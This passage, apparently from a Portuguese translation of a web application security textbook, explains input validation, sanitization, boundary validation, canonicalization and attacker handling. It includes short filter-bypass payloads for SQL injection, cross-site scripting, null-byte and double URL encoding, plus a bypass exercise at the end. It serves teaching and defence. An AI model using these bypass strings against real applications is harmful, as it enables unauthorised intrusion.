Lembre-se do problema fundamental de segurança descrito no Capítulo 1: todas as entradas do usuário não são confiáveis. Uma grande variedade de ataques contra aplicativos da Web envolve o envio de entradas inesperadas, criadas para causar um comportamento que não foi planejado pelos projetistas do aplicativo. Da mesma forma, um requisito fundamental para as defesas de segurança de um aplicativo é que ele deve tratar a entrada do usuário de forma segura. As vulnerabilidades baseadas em entrada podem surgir em qualquer lugar dentro da funcionalidade de um aplicativo e em relação a praticamente todos os tipos de tecnologia de uso comum. A "validação de entrada" é frequentemente citada como a defesa necessária contra esses ataques. No entanto, nenhum mecanismo de proteção pode ser empregado em todos os lugares, e a defesa contra entradas mal-intencionadas geralmente não é tão simples quanto parece.

Variedades de entrada

Um aplicativo da Web típico processa dados fornecidos pelo usuário de várias formas diferentes. Alguns tipos de validação de entrada podem não ser viáveis ou desejáveis para todas essas formas de entrada. A Figura 2-4 mostra o tipo de validação de entrada geralmente executada por uma função de registro de usuário.

Figura 2-4: Um aplicativo que executa a validação de entrada

Em muitos casos, um aplicativo pode ser capaz de impor verificações de validação muito rigorosas em um item específico de entrada. Por exemplo, um nome de usuário enviado a uma função de login pode ter um comprimento máximo de oito caracteres e conter apenas caracteres alfabéticos.

Em outros casos, o aplicativo precisa tolerar uma gama maior de entradas possíveis. Por exemplo, um campo de endereço enviado a uma página de detalhes pessoais pode conter legitimamente letras, números, espaços, hífens, apóstrofos e outros caracteres. No entanto, para esse item, as restrições ainda podem ser impostas de forma viável. Os dados não devem exceder um limite de comprimento razoável (como 50 caracteres) e não devem conter nenhuma marcação HTML.

Em algumas situações, um aplicativo pode precisar aceitar entradas arbitrárias dos usuários. Por exemplo, um usuário de um aplicativo de blog pode criar um blog cujo assunto seja hacking de aplicativos da Web. As publicações e os comentários feitos no blog podem conter legitimamente cadeias de ataque explícitas que estão sendo discutidas. O aplicativo pode precisar armazenar essa entrada em um banco de dados, gravá-la no disco e exibi-la de volta aos usuários de forma segura. Ele não pode simplesmente rejeitar a entrada apenas porque ela parece potencialmente mal-intencionada sem diminuir substancialmente o valor do aplicativo para parte de sua base de usuários.

Além dos vários tipos de entrada que os usuários inserem usando a interface do navegador, um aplicativo típico recebe vários itens de dados que começaram sua vida no servidor e que são enviados ao cliente para que o cliente possa transmiti-los de volta ao servidor em solicitações subsequentes. Isso inclui itens como cookies e campos de formulário ocultos, que não são vistos pelos usuários comuns do aplicativo, mas que um invasor pode, obviamente, visualizar e modificar. Nesses casos, os aplicativos geralmente podem executar uma validação muito específica dos dados recebidos. Por exemplo, pode ser necessário que um parâmetro tenha um de um conjunto específico de valores conhecidos, como um cookie que indica o idioma preferido do usuário, ou que esteja em um formato específico, como um número de identificação do cliente. Além disso, quando um aplicativo detecta que os dados gerados pelo servidor foram modificados de uma forma que não é possível para um usuário comum com um navegador padrão, isso geralmente indica que o usuário está tentando sondar o aplicativo em busca de vulnerabilidades. Nesses casos

casos, o aplicativo deve rejeitar a solicitação e registrar o incidente para possível investigação (consulte a seção "Como lidar com invasores", mais adiante neste capítulo).

Abordagens para o tratamento de entradas

Várias abordagens amplas são comumente adotadas para o problema de lidar com a entrada do usuário. Diferentes abordagens costumam ser preferíveis para diferentes situações e diferentes tipos de entrada, e, às vezes, uma combinação de abordagens pode ser desejável.

"Rejeitar o mal conhecido"

Essa abordagem normalmente emprega uma lista negra que contém um conjunto de strings literais ou padrões que são conhecidos por serem usados em ataques. O mecanismo de validação bloqueia qualquer dado que corresponda à lista negra e permite todo o resto.

Em geral, essa é considerada a abordagem menos eficaz para validar a entrada do usuário, por dois motivos principais. Primeiro, uma vulnerabilidade típica em um aplicativo da Web pode ser explorada usando uma grande variedade de entradas, que podem ser codificadas ou representadas de várias maneiras. Exceto nos casos mais simples, é provável que uma lista negra omita alguns padrões de entrada que podem ser usados para atacar o aplicativo. Em segundo lugar, as técnicas de exploração estão em constante evolução. É improvável que novos métodos de exploração das categorias de vulnerabilidades existentes sejam bloqueados pelas listas negras atuais.

Muitos filtros baseados em listas negras podem ser contornados com uma facilidade quase constrangedora, bastando fazer ajustes triviais na entrada que está sendo bloqueada. Por exemplo:

- Se `o SELECT` estiver bloqueado, tente `o SeLeCt`
- Se `or 1=1--` estiver bloqueado, tente `or 2=2--`
- Se `alert('xss')` estiver bloqueado, tente `prompt('xss')`

Em outros casos, os filtros projetados para bloquear palavras-chave específicas podem ser contornados com o uso de caracteres não padronizados entre expressões para interromper a tokenização realizada pelo aplicativo. Por exemplo:

```
SELECT/*foo*/username,password/*foo*/FROM/*foo*/users
<img%09onerror=alert(1) src=a>
```

Por fim, vários filtros baseados em listas negras, principalmente os implementados em firewalls de aplicativos da Web, são vulneráveis a ataques de bytes NULL. Devido às diferentes maneiras pelas quais as cadeias de caracteres são tratadas em contextos de execução gerenciados e não gerenciados, a inserção de um byte NULL em qualquer lugar antes de uma expressão bloqueada pode fazer com que alguns filtros parem de processar a entrada e, portanto, não identifiquem a expressão. Por exemplo:

```
%00<script>alert(1)</script>
```

Várias outras técnicas de ataque a firewalls de aplicativos da Web são descritas no Capítulo 18.

OBSERVAÇÃO Ataques que exploram o manuseio de bytes NULL surgem em muitas áreas de segurança de aplicativos da Web. Em contextos em que um byte NULL atua como delimitador de cadeia de caracteres, ele pode ser usado para encerrar um nome de arquivo ou uma consulta a algum componente de back-end. Em contextos em que os bytes NULL são tolerados e ignorados (por exemplo, no HTML de alguns navegadores), bytes NULL arbitrários podem ser inseridos em expressões bloqueadas para burlar alguns filtros baseados em listas negras. Ataques desse tipo são discutidos em detalhes em capítulos posteriores.

"Aceitar o bem conhecido"

Essa abordagem emprega uma lista de permissões que contém um conjunto de cadeias de caracteres literais ou padrões, ou um conjunto de critérios, que é conhecido por corresponder apenas a entradas benignas. O mecanismo de validação permite dados que correspondem à lista de permissões e bloqueia todo o resto. Por exemplo, antes de procurar um código de produto solicitado no banco de dados, um aplicativo pode validar se ele contém apenas caracteres alfanuméricos e tem exatamente seis caracteres. Dado o processamento subsequente que será feito no código do produto, os desenvolvedores sabem que a entrada que passa nesse teste não pode causar nenhum problema.

Nos casos em que essa abordagem é viável, ela é considerada a maneira mais eficaz de lidar com entradas potencialmente maliciosas. Desde que seja tomado o devido cuidado na construção da lista de permissões, um invasor não poderá usar entradas criadas para interferir no comportamento do aplicativo. Entretanto, em várias situações, um aplicativo precisa aceitar dados para processamento que não atendem a nenhum critério razoável do que é conhecido como "bom". Por exemplo, os nomes de algumas pessoas contêm um apóstrofo ou hífen. Eles podem ser usados em ataques contra bancos de dados, mas pode ser um requisito que o aplicativo permita que qualquer pessoa se registre com seu nome verdadeiro. Portanto, embora muitas vezes seja extremamente eficaz, a abordagem baseada em listas brancas não representa uma solução completa para o problema de lidar com a entrada do usuário.

Sanitização

Essa abordagem reconhece a necessidade de, às vezes, aceitar dados que não podem ser garantidos como seguros. Em vez de rejeitar essa entrada, o aplicativo a higieniza de várias maneiras para evitar que ela tenha efeitos adversos. Caracteres potencialmente maliciosos podem ser removidos dos dados, deixando apenas o que se sabe ser seguro, ou podem ser adequadamente codificados ou "escapados" antes da execução do processamento adicional.

As abordagens baseadas na sanitização de dados costumam ser altamente eficazes e, em muitas situações, podem ser consideradas como uma solução geral para o problema de dados mal-intencionados.

entrada. Por exemplo, a defesa usual contra ataques de script entre sites é codificar caracteres perigosos em HTML antes que eles sejam incorporados às páginas do aplicativo (consulte o Capítulo 12). Entretanto, pode ser difícil obter uma sanitização eficaz se vários tipos de dados potencialmente maliciosos precisarem ser acomodados em um item de entrada. Nessa situação, é desejável uma abordagem de validação de limite, conforme descrito posteriormente.

Manuseio seguro de dados

Muitas vulnerabilidades de aplicativos da Web surgem porque os dados fornecidos pelo usuário são processados de maneira insegura. Muitas vezes, as vulnerabilidades podem ser evitadas não pela validação da entrada em si, mas pela garantia de que o processamento realizado nela seja inerentemente seguro. Em algumas situações, estão disponíveis métodos de programação seguros que evitam problemas comuns. Por exemplo, os ataques de injeção de SQL podem ser evitados com o uso correto de consultas parametrizadas para acesso ao banco de dados (consulte o Capítulo 9). Em outras situações, a funcionalidade do aplicativo pode ser projetada de forma a evitar práticas inerentemente inseguras, como passar a entrada do usuário para um interpretador de comandos do sistema operacional.

Essa abordagem não pode ser aplicada a todos os tipos de tarefas que os aplicativos da Web precisam executar. Mas, quando está disponível, é uma abordagem geral eficaz para lidar com entradas potencialmente mal-intencionadas.

Verificações semânticas

Todas as defesas descritas até agora abordam a necessidade de defender o aplicativo contra vários tipos de dados malformados cujo conteúdo foi criado para interferir no processamento do aplicativo. No entanto, com algumas vulnerabilidades, a entrada fornecida pelo invasor é idêntica à entrada que um usuário comum, não mal-intencionado, pode enviar. O que a torna maliciosa são as diferentes circunstâncias em que ela é enviada. Por exemplo, um invasor pode tentar obter acesso à conta bancária de outro usuário alterando um número de conta transmitido em um campo de formulário oculto. Nenhum tipo de validação sintática fará distinção entre os dados do usuário e os do invasor. Para evitar o acesso não autorizado, o aplicativo precisa validar se o número da conta enviado pertence ao usuário que o enviou.

Validação de limites

A ideia de validar dados entre limites de confiança é bem conhecida. O principal problema de segurança dos aplicativos da Web surge porque os dados recebidos dos usuários não são confiáveis. Embora as verificações de validação de entrada implementadas no lado do cliente possam melhorar o desempenho e a experiência do usuário, elas não oferecem nenhuma garantia sobre os dados que realmente chegam ao servidor. O ponto em que

os dados do usuário são recebidos pela primeira vez pelo aplicativo no lado do servidor representa um enorme limite de confiança. Nesse momento, o aplicativo precisa tomar medidas para se defender contra entradas mal-intencionadas.

Dada a natureza do problema central, é tentador pensar no problema da validação de entrada em termos de uma fronteira entre a Internet, que é "ruim" e não confiável, e o aplicativo do lado do servidor, que é "bom" e confiável. Nesse cenário, a função da validação de entrada é limpar dados potencialmente maliciosos na chegada e, em seguida, passar os dados limpos para o aplicativo confiável. Desse ponto em diante, os dados podem ser confiáveis e processados sem nenhuma verificação adicional ou preocupação com possíveis ataques.

Como ficará evidente quando começarmos a examinar algumas vulnerabilidades reais, essa imagem simples da validação de entrada é inadequada por vários motivos:

- Dada a ampla gama de funcionalidades que os aplicativos implementam e as diferentes tecnologias em uso, um aplicativo típico precisa se defender contra uma enorme variedade de ataques baseados em entrada, cada um dos quais pode empregar um conjunto diversificado de dados criados. Seria muito difícil criar um único mecanismo no limite externo para se defender de todos esses ataques.
- Muitas funções de aplicativos envolvem o encadeamento de uma série de diferentes tipos de processamento. Uma única parte da entrada fornecida pelo usuário pode resultar em várias operações em diferentes componentes, com a saída de cada uma sendo usada como entrada para a próxima. À medida que os dados são transformados, eles podem não ter nenhuma semelhança com a entrada original. Um invasor habilidoso pode conseguir manipular o aplicativo para fazer com que uma entrada maliciosa seja gerada em um estágio importante do processamento, atacando o componente que recebe esses dados. Seria extremamente difícil implementar um mecanismo de validação no limite externo para prever todos os resultados possíveis do processamento de cada parte da entrada do usuário.
- A defesa contra diferentes categorias de ataques baseados em entrada pode implicar a realização de diferentes verificações de validação na entrada do usuário que sejam incompatíveis entre si. Por exemplo, a prevenção de ataques de script entre sites pode exigir que o aplicativo codifique em HTML o caractere `>` como `>` e a prevenção de ataques de injeção de comando pode exigir que o aplicativo bloqueie a entrada contendo os caracteres `&` e `;`. Tentar impedir todas as categorias de ataque simultaneamente no limite externo do aplicativo às vezes pode ser impossível.

Um modelo mais eficaz usa o conceito de *validação de limite*. Aqui, cada componente individual ou unidade funcional do aplicativo no lado do servidor trata suas entradas como provenientes de uma fonte potencialmente maliciosa. A validação de dados é realizada em cada um desses limites de confiança, além da fronteira externa entre o cliente e o servidor. Esse modelo oferece uma solução para os problemas que acabamos de descrever. Cada componente pode se defender contra os tipos específicos de entrada criada aos quais pode estar

vulnerável. À medida que os dados passam por diferentes

componentes, as verificações de validação podem ser realizadas em relação a qualquer valor que os dados tenham como resultado de transformações anteriores. E como as várias verificações de validação são implementadas em diferentes estágios de processamento, é improvável que entrem em conflito umas com as outras.

A Figura 2-5 ilustra uma situação típica em que a validação de limite é a abordagem mais eficaz para a defesa contra entradas mal-intencionadas. O login do usuário resulta em várias etapas de processamento sendo executadas na entrada fornecida pelo usuário, e a validação adequada é executada em cada etapa:

1. O aplicativo recebe os detalhes de login do usuário. O manipulador de formulários verifica se cada item de entrada contém apenas caracteres permitidos, se está dentro de um limite de comprimento específico e se não contém nenhuma assinatura de ataque conhecida.
2. O aplicativo executa uma consulta SQL para verificar as credenciais do usuário. Para evitar ataques de injeção de SQL, todos os caracteres na entrada do usuário que podem ser usados para atacar o banco de dados são escapados antes de a consulta ser construída.
3. Se o login for bem-sucedido, o aplicativo passará determinados dados do perfil do usuário a um serviço SOAP para recuperar mais informações sobre sua conta. Para evitar ataques de injeção SOAP, todos os metacaracteres XML nos dados do perfil do usuário são adequadamente codificados.
4. O aplicativo exibe as informações da conta do usuário de volta ao navegador do usuário. Para evitar ataques de script entre sites, o aplicativo codifica em HTML todos os dados fornecidos pelo usuário que são incorporados à página retornada.

Figura 2-5: Uma função de aplicativo que usa validação de limite em vários estágios de

processamento

As vulnerabilidades e defesas específicas envolvidas nesse cenário serão examinadas em detalhes em capítulos posteriores. Se as variações dessa funcionalidade envolvessem a transmissão de dados para outros componentes do aplicativo, defesas semelhantes precisariam ser implementadas nos limites de confiança relevantes. Por exemplo, se uma falha no login fizesse com que o aplicativo enviasse um e-mail de aviso ao usuário, todos os dados do usuário incorporados ao e-mail precisariam ser verificados quanto a ataques de injeção SMTP.

Validação e canonização em várias etapas

Um problema comum encontrado pelos mecanismos de tratamento de entrada surge quando a entrada fornecida pelo usuário é manipulada em várias etapas como parte da lógica de validação. Se esse processo não for tratado com cuidado, um invasor poderá construir uma entrada criada que consiga contrabandear dados maliciosos por meio do mecanismo de validação. Uma versão desse problema ocorre quando um aplicativo tenta higienizar a entrada do usuário removendo ou codificando determinados caracteres ou expressões. Por exemplo, um aplicativo pode tentar se defender contra alguns ataques de script entre sites removendo a expressão:

```
<script>
```

de qualquer dado fornecido pelo usuário. No entanto, um invasor pode ser capaz de contornar o filtro fornecendo a seguinte entrada:

```
<scr<script>ipt>
```

Quando a expressão bloqueada é removida, os dados ao redor se contraem para restaurar a carga maliciosa, porque o filtro não está sendo aplicado recursivamente.

Da mesma forma, se mais de uma etapa de validação for executada na entrada do usuário, um invasor poderá explorar a ordem dessas etapas para contornar o filtro. Por exemplo, se o aplicativo remover primeiro `../` recursivamente e depois remover
`...\` recursivamente, a entrada a seguir pode ser usada para anular a validação:

```
....\/
```

Um problema relacionado surge em relação à canonização de dados. Quando a entrada é enviada pelo navegador do usuário, ela pode ser codificada de várias maneiras. Esses esquemas de codificação existem para que caracteres incomuns e dados binários possam ser transmitidos com segurança por HTTP (consulte o Capítulo 3 para obter mais detalhes). A canonização é o processo de conversão ou decodificação de dados em um conjunto de caracteres comum. Se qualquer canonização for executada após a aplicação dos filtros de entrada, um invasor poderá usar um esquema de codificação adequado para contornar o mecanismo de validação.

Por exemplo, um aplicativo pode tentar se defender contra alguns ataques de injeção de SQL bloqueando a entrada que contenha o caractere apóstrofo. No entanto, se

a entrada for posteriormente canonizada, um invasor poderá usar a codificação dupla de URL para burlar o filtro. Por exemplo:

```
%2527
```

Quando essa entrada é recebida, o servidor de aplicativos executa sua decodificação normal de URL, de modo que a entrada se torna:

```
%27
```

Isso não contém um apóstrofo, portanto, é permitido pelos filtros do aplicativo. Mas quando o aplicativo executa uma decodificação adicional de URL, a entrada é convertida em um apóstrofo, ignorando assim o filtro.

Se o aplicativo remover o apóstrofo em vez de bloqueá-lo e, em seguida, realizar uma canonização adicional, o seguinte desvio poderá ser eficaz:

```
%%2727
```

É importante observar que as várias etapas de validação e canonização nesses casos não precisam ocorrer todas no lado do servidor do aplicativo. Por exemplo, na entrada a seguir, vários caracteres foram codificados em HTML:

```
<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >
```

Se o aplicativo no lado do servidor usar um filtro de entrada para bloquear determinadas expressões e caracteres do JavaScript, a entrada codificada poderá contornar o filtro. Entretanto, se a entrada for copiada na resposta do aplicativo, alguns navegadores executarão uma decodificação HTML do valor do parâmetro `src` e o JavaScript incorporado será executado.

Além dos esquemas de codificação padrão destinados ao uso em aplicativos da Web, podem surgir problemas de canonização em outras situações em que um componente empregado pelo aplicativo converte dados de um conjunto de caracteres para outro. Por exemplo, algumas tecnologias executam um mapeamento "mais adequado" de caracteres com base em semelhanças em seus glifos impressos. Nesse caso, os caracteres `＜` e `＞` podem ser convertidos em `<` e `>`, respectivamente, e `Ÿ` e `Â` são convertidos em `Y` e `A`. Esse comportamento pode ser aproveitado para passar caracteres ou palavras-chave bloqueados pelos filtros de entrada de um aplicativo.

Ao longo deste livro, descreveremos vários ataques desse tipo, que são eficazes para derrotar as defesas de muitos aplicativos contra vulnerabilidades comuns baseadas em entrada.

Evitar problemas com validação e canonização em várias etapas pode ser difícil em alguns casos, e não há uma solução única para o problema. Uma abordagem é executar as etapas de sanitização recursivamente, continuando até que nenhuma outra modificação tenha sido feita em um item de entrada. Entretanto, quando a sanitização desejada envolve o escape de um caractere problemático, isso pode resultar em um loop infinito. Muitas vezes, o problema só pode ser resolvido caso a caso, com base nos tipos de validação que estão sendo executados. Quando for viável, pode ser preferível evitar a tentativa de limpar alguns tipos de entrada incorreta e simplesmente rejeitá-la por completo.

Como lidar com os atacantes

Qualquer pessoa que projete um aplicativo para o qual a segurança seja remotamente importante deve presumir que ele será diretamente visado por atacantes dedicados e habilidosos. Uma função fundamental dos mecanismos de segurança do aplicativo é poder lidar com esses ataques e reagir a eles de forma controlada. Esses mecanismos geralmente incorporam uma combinação de medidas defensivas e ofensivas projetadas para frustrar um invasor o máximo possível e fornecer aos proprietários do aplicativo notificações e evidências apropriadas do que ocorreu. As medidas implementadas para lidar com os invasores geralmente incluem as seguintes tarefas:

- Tratamento de erros
- Manutenção de registros de auditoria
- Alertar os administradores
- Reagindo a ataques

Tratamento de erros

Por mais cuidadosos que os desenvolvedores de um aplicativo sejam ao validar a entrada do usuário, é praticamente inevitável que ocorram alguns erros não previstos. É provável que os erros resultantes das ações de usuários comuns sejam identificados durante os testes de funcionalidade e de aceitação do usuário. Portanto, eles são levados em consideração antes de o aplicativo ser implantado em um contexto de produção. No entanto, é difícil prever todas as maneiras possíveis pelas quais um usuário mal-intencionado pode interagir com o aplicativo, portanto, outros erros devem ser esperados quando o aplicativo for atacado.

Um dos principais mecanismos de defesa é que o aplicativo lide com erros inesperados de forma elegante e se recupere deles ou apresente uma mensagem de erro adequada ao usuário. Em um contexto de produção, o aplicativo nunca deve retornar mensagens geradas pelo sistema ou outras informações de depuração em suas respostas. Como você verá ao longo deste livro, as mensagens de erro excessivamente detalhadas podem ajudar muito os usuários mal-intencionados a promoverem seus ataques contra o aplicativo. Em algumas situações, um invasor pode aproveitar o tratamento de erros defeituoso para recuperar informações sensíveis dentro das próprias mensagens de erro, fornecendo um canal valioso para roubar dados do aplicativo. A Figura 2-6 mostra um exemplo de um erro não tratado que resulta em uma mensagem de erro detalhada.

A maioria das linguagens de desenvolvimento da Web oferece um bom suporte ao tratamento de erros por meio de blocos try-catch e exceções verificadas. O código do aplicativo deve fazer uso extensivo dessas construções para capturar erros específicos e gerais e tratá-los adequadamente. Além disso, a maioria dos servidores de aplicativos pode ser configurada para lidar com erros de aplicativos não tratados de maneiras personalizadas, como

apresentando uma mensagem de erro não informativa. Consulte o Capítulo 15 para obter mais detalhes sobre essas medidas.

Figura 2-6: Um erro não tratado

O tratamento eficaz de erros geralmente é integrado aos mecanismos de registro do aplicativo, que registram o máximo possível de informações de depuração sobre erros inesperados. Erros inesperados geralmente apontam para defeitos nas defesas do aplicativo que podem ser resolvidos na fonte se o proprietário do aplicativo tiver as informações necessárias.

Manutenção de registros de auditoria

Os logs de auditoria são valiosos principalmente ao investigar tentativas de intrusão contra um aplicativo. Após esse incidente, os registros de auditoria eficazes devem permitir que os proprietários do aplicativo entendam exatamente o que ocorreu, quais vulnerabilidades (se houver) foram exploradas, se o invasor obteve acesso não autorizado aos dados ou executou alguma ação não autorizada e, na medida do possível, fornecer provas da identidade do invasor.

Em qualquer aplicativo para o qual a segurança seja importante, os principais eventos devem ser registrados normalmente. No mínimo, eles normalmente incluem o seguinte:

- Todos os eventos relacionados à funcionalidade de autenticação, como login bem-sucedido e com falha, e alteração de senha
- Principais transações, como pagamentos com cartão de crédito e transferências de fundos
- Tentativas de acesso que são bloqueadas pelos mecanismos de controle de acesso
- Quaisquer solicitações que contenham cadeias de caracteres de ataque conhecidas que indiquem intenções abertamente maliciosas

Em muitos aplicativos essenciais à segurança, como os usados por bancos on-line, todas as solicitações dos clientes são registradas na íntegra, fornecendo um registro forense completo que pode ser usado para investigar qualquer incidente.

Normalmente, os logs de auditoria eficazes registram a hora de cada evento, o endereço IP do qual a solicitação foi recebida e a conta do usuário (se autenticada). Esses logs precisam ser fortemente protegidos contra acesso não autorizado de leitura ou gravação. Uma abordagem eficaz é armazenar os logs de auditoria em um sistema autônomo que aceita apenas mensagens de atualização do aplicativo principal. Em algumas situações, os logs podem ser transferidos para uma mídia de gravação única para garantir sua integridade no caso de um ataque bem-sucedido.

Em termos de superfície de ataque, os logs de auditoria mal protegidos podem fornecer uma mina de ouro de informações a um invasor, revelando uma série de informações confidenciais, como tokens de sessão e parâmetros de solicitação. Essas informações podem permitir que o invasor comprometa imediatamente todo o aplicativo, conforme mostrado na Figura 2-7.

Figura 2-7: Logs de aplicativos mal protegidos contendo informações confidenciais enviadas por outros usuários

Alerta aos administradores

Os logs de auditoria permitem que os proprietários de um aplicativo investiguem retrospectivamente as tentativas de invasão e, se possível, tomem medidas legais contra o autor. Entretanto, em muitas situações, é desejável tomar medidas muito mais imediatas, em tempo real, em resposta a tentativas de ataques. Por exemplo, os administradores podem bloquear o endereço IP ou a conta de usuário que o invasor está usando. Em casos extremos, eles podem até mesmo colocar o aplicativo off-line enquanto investigam o ataque e tomam medidas corretivas. Mesmo que uma intrusão bem-sucedida já tenha ocorrido, seus efeitos práticos podem ser atenuados se forem tomadas medidas defensivas em um estágio inicial.

Na maioria das situações, os mecanismos de alerta devem equilibrar os objetivos conflitantes de relatar cada ataque genuíno de forma confiável e de não gerar tantos alertas a ponto de serem ignorados. Um mecanismo de alerta bem projetado pode usar uma combinação de fatores para diagnosticar que um determinado ataque está em andamento e pode agregar eventos relacionados em um único alerta, sempre que possível. Os eventos anômalos monitorados por mecanismos de alerta geralmente incluem o seguinte:

- Anomalias de uso, como um grande número de solicitações recebidas de um único endereço IP ou usuário, indicando um ataque com script
- Anomalias comerciais, como um número incomum de transferências de fundos feitas de ou para uma única conta bancária
- Solicitações contendo cadeias de ataque conhecidas
- Solicitações em que os dados que estão ocultos para usuários comuns foram modificados

Algumas dessas funções podem ser fornecidas razoavelmente bem por firewalls de aplicativos prontos para uso e produtos de detecção de intrusão. Esses produtos geralmente usam uma combinação de regras baseadas em assinaturas e anomalias para identificar o uso mal-intencionado do aplicativo e podem bloquear reativamente as solicitações mal-intencionadas, além de emitir alertas para os administradores. Esses produtos podem formar uma camada valiosa de defesa para proteger um aplicativo da Web, principalmente no caso de aplicativos existentes que sabidamente contêm problemas, mas em que os recursos para corrigi-los não estão disponíveis imediatamente. Entretanto, sua eficácia geralmente é limitada pelo fato de que cada aplicativo da Web é diferente, portanto, as regras empregadas são inevitavelmente genéricas até certo ponto. Os firewalls de aplicativos da Web geralmente são bons para identificar os ataques mais óbvios, em que um invasor envia sequências de ataque padrão em cada parâmetro de solicitação. Entretanto, muitos ataques são mais sutis do que isso. Por exemplo, talvez eles modifiquem o número da conta em um campo oculto para acessar os dados de outro usuário ou enviem solicitações fora de sequência para explorar defeitos na lógica do aplicativo. Nesses casos, uma solicitação enviada por um invasor pode ser

idêntico ao enviado por um usuário benigno. O que a torna maliciosa são as circunstâncias em que ela é feita.

Em qualquer aplicativo crítico para a segurança, a maneira mais eficaz de implementar alertas em tempo real é integrá-los fortemente aos mecanismos de validação de entrada do aplicativo e a outros controles. Por exemplo, se for esperado que um cookie tenha um de um conjunto específico de valores, qualquer violação disso indica que seu valor foi modificado de uma forma que não é possível para usuários comuns do aplicativo. Da mesma forma, se um usuário alterar um número de conta em um campo oculto para identificar a conta de um usuário diferente, isso indica fortemente uma intenção mal-intencionada. O aplicativo já deve estar verificando esses ataques como parte de suas defesas primárias, e esses mecanismos de proteção podem ser facilmente conectados ao mecanismo de alerta do aplicativo para fornecer indicadores totalmente personalizados de atividade mal-intencionada. Como essas verificações foram adaptadas à lógica real do aplicativo, com um conhecimento refinado de como os usuários comuns devem se comportar, elas são muito menos propensas a falsos positivos do que qualquer solução pronta para uso, por mais configurável ou fácil de aprender que essa solução possa ser.

Reagindo a ataques

Além de alertar os administradores, muitos aplicativos críticos de segurança contêm mecanismos integrados para reagir defensivamente a usuários identificados como potencialmente mal-intencionados.

Como cada aplicativo é diferente, a maioria dos ataques no mundo real exige que um invasor procure sistematicamente por vulnerabilidades, enviando várias solicitações contendo entradas criadas para indicar a presença de várias vulnerabilidades comuns. Mecanismos eficazes de validação de entrada identificarão muitas dessas solicitações como potencialmente mal-intencionadas e impedirão que a entrada tenha qualquer efeito indesejável no aplicativo. No entanto, é sensato supor que existam alguns desvios para esses filtros e que o aplicativo contenha algumas vulnerabilidades reais esperando para serem descobertas e exploradas. Em algum momento, um invasor trabalhando sistematicamente provavelmente descobrirá esses defeitos.

Por esse motivo, alguns aplicativos tomam medidas reativas automáticas para frustrar as atividades de um invasor que esteja trabalhando dessa forma. Por exemplo, eles podem responder cada vez mais lentamente às solicitações do invasor ou encerrar a sessão do invasor, exigindo que ele faça login ou execute outras etapas antes de continuar o ataque. Embora essas medidas não consigam derrotar o invasor mais paciente e determinado, elas impedirão muitos outros invasores casuais e darão mais tempo para que os administradores monitorem a situação e tomem medidas mais drásticas, se desejarem.

É claro que reagir aos atacantes aparentes não substitui a correção das vulnerabilidades existentes no aplicativo. Entretanto, no mundo real, mesmo os esforços mais diligentes para eliminar as falhas de segurança de um aplicativo podem deixar alguns defeitos exploráveis. Colocar mais obstáculos no caminho de um invasor é uma medida eficaz de defesa em profundidade que reduz a probabilidade de que quaisquer vulnerabilidades residuais sejam encontradas e exploradas.

Gerenciando o aplicativo

Qualquer aplicativo útil precisa ser gerenciado e administrado. Esse recurso geralmente constitui uma parte essencial dos mecanismos de segurança do aplicativo, fornecendo uma maneira de os administradores gerenciarem contas e funções de usuários, acessarem funções de monitoramento e auditoria, executarem tarefas de diagnóstico e configurarem aspectos da funcionalidade do aplicativo.

Em muitos aplicativos, as funções administrativas são implementadas no próprio aplicativo, acessíveis por meio da mesma interface da Web que sua principal funcionalidade não relacionada à segurança, conforme mostrado na Figura 2-8. Quando esse é o caso, o mecanismo administrativo representa uma parte essencial da superfície de ataque do aplicativo. Seu principal atrativo para um invasor é ser um veículo para a evasão de privilégios. Por exemplo:

- Os pontos fracos no mecanismo de autenticação podem permitir que um invasor obtenha acesso administrativo, comprometendo efetivamente todo o aplicativo.
- Muitos aplicativos não implementam o controle de acesso eficaz de algumas de suas funções administrativas. Um invasor pode encontrar um meio de criar uma nova conta de usuário com privilégios poderosos.
- A funcionalidade administrativa geralmente envolve a exibição de dados originados de usuários comuns. Quaisquer falhas de script entre sites na interface administrativa podem levar ao comprometimento de uma sessão de usuário que tenha privilégios poderosos.
- A funcionalidade administrativa geralmente é submetida a testes de segurança menos rigorosos, porque seus usuários são considerados confiáveis ou porque os testadores de penetração têm acesso apenas a contas com poucos privilégios. Além disso, a funcionalidade geralmente precisa executar operações inerentemente perigosas, envolvendo acesso a arquivos em disco ou comandos do sistema operacional. Se um invasor conseguir comprometer a função administrativa, muitas vezes ele poderá aproveitá-la para assumir o controle de todo o servidor.

Figura 2-8: Uma interface administrativa em um aplicativo da Web

Resumo

Apesar de suas grandes diferenças, praticamente todos os aplicativos da Web empregam os mesmos mecanismos de segurança principais de alguma forma. Esses mecanismos representam as principais defesas de um aplicativo contra usuários mal-intencionados e, portanto, também constituem a maior parte da superfície de ataque do aplicativo. As vulnerabilidades que examinaremos mais adiante neste livro decorrem principalmente de defeitos nesses mecanismos principais.

Desses componentes, os mecanismos para lidar com o acesso e a entrada de dados do usuário são os mais importantes e devem receber a maior parte da sua atenção quando você estiver visando a um aplicativo. Defeitos nesses mecanismos geralmente levam ao comprometimento total do aplicativo, permitindo o acesso a dados pertencentes a outros usuários, a execução de ações não autorizadas e a injeção de códigos e comandos arbitrários.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Por que os mecanismos de um aplicativo para lidar com o acesso do usuário são tão fortes quanto o mais fraco desses componentes?
2. Qual é a diferença entre uma sessão e um token de sessão?
3. Por que nem sempre é possível usar uma abordagem baseada em lista branca para validação de entrada?

4. Você está atacando um aplicativo que implementa uma função administrativa. Você não tem nenhuma credencial válida para usar a função. Por que, mesmo assim, você deve prestar muita atenção a ela?
5. Um mecanismo de validação de entrada projetado para bloquear ataques de script entre sites executa a seguinte sequência de etapas em um item de entrada:

   1. Retire todas as expressões `<script>` que aparecerem.
   2. Truncar a entrada para 50 caracteres.
   3. Remova as aspas da entrada.
   4. Decodificar a entrada por URL.
   5. Se algum item tiver sido excluído, volte à etapa 1.

   Você pode contornar esse mecanismo de validação para passar os seguintes dados por ele?

   ```
   "><script>alert("foo")</script>
   ```

CAPÍTULO

3

Tecnologia de aplicativos da nologias

